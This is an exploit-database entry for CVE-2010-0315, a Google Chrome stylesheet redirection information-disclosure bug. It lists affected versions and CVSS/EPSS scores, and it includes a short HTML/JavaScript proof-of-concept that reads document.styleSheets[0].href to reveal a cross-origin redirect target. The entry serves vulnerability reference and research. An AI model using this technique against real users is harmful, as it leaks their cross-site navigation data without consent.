Exploit for Google Chrome样式表重新定向信息泄露漏洞

CVE-2010-0315

seebug · 2010-01-27

Description

Google Chrome stylesheet redirection information leakage vulnerabilit

Entry point

Parameterhref · nested

Pathwww.yahoo.com

Discloses a redirect target by placing the site's URL in the LINK href and reading document.styleSheets[0].href.

Affected Google Chrome versions

Google Chrome≤ 4.0.249.78, 0.2.149.27, 0.2.149.29, 0.2.149.30, 0.2.152.1, 0.2.153.1, 0.3.154.0, 0.3.154.3, 0.4.154.18, 0.4.154.22, 0.4.154.31, 0.4.154.33, 1.0.154.36, 1.0.154.39, 1.0.154.42, 1.0.154.43, 1.0.154.46, 1.0.154.48, 1.0.154.52, 1.0.154.53, 1.0.154.59, 1.0.154.65, 2.0.156.1, 2.0.157.0, 2.0.157.2, 2.0.158.0, 2.0.159.0, 2.0.169.0, 2.0.169.1, 2.0.170.0, 2.0.172, 2.0.172.2, 2.0.172.8, 2.0.172.27, 2.0.172.28, 2.0.172.30, 2.0.172.31, 2.0.172.33, 2.0.172.37, 2.0.172.38

All known vulnerabilities by product

Google Chrome Webkit

CVSS 5.0 for CVE-2010-0315

5.0

MEDIUM SEVERITY

VectorAV:NETWORK/AC:LOW/Au:NONE/C:PARTIAL/I:NONE/A:NONE/

EPSS Score

6.9%higher than 93.2% of all CVEs

Updated 2026-06-16

Exploit Details

Modified:2010-01-27 00:00

Last Seen:2017-11-19 18:15

Reporter:Root

Other exploits for CVE-2010-0315

Google Chrome 3.0 - Style Sheet redirection Information Disclosure

2010-01-22 Cesar CerrudoEXPLOITDB

Exploit Code

MARKDOWN7 lines

## https://sploitus.com/exploit?id=SSV:19009
&lt;link rel=&quot;stylesheet&quot; type=&quot;text/css&quot; href=&quot;http://www.yahoo.com&quot;&gt;
Hola
&lt;script language=&quot;javascript&quot;&gt;
setTimeout(&quot;alert(document.styleSheets[0].href)&quot;, 10000);
//setTimeout is used just to wait for page loading
&lt;/script&gt;

Exploit Code

Share

Share on social media: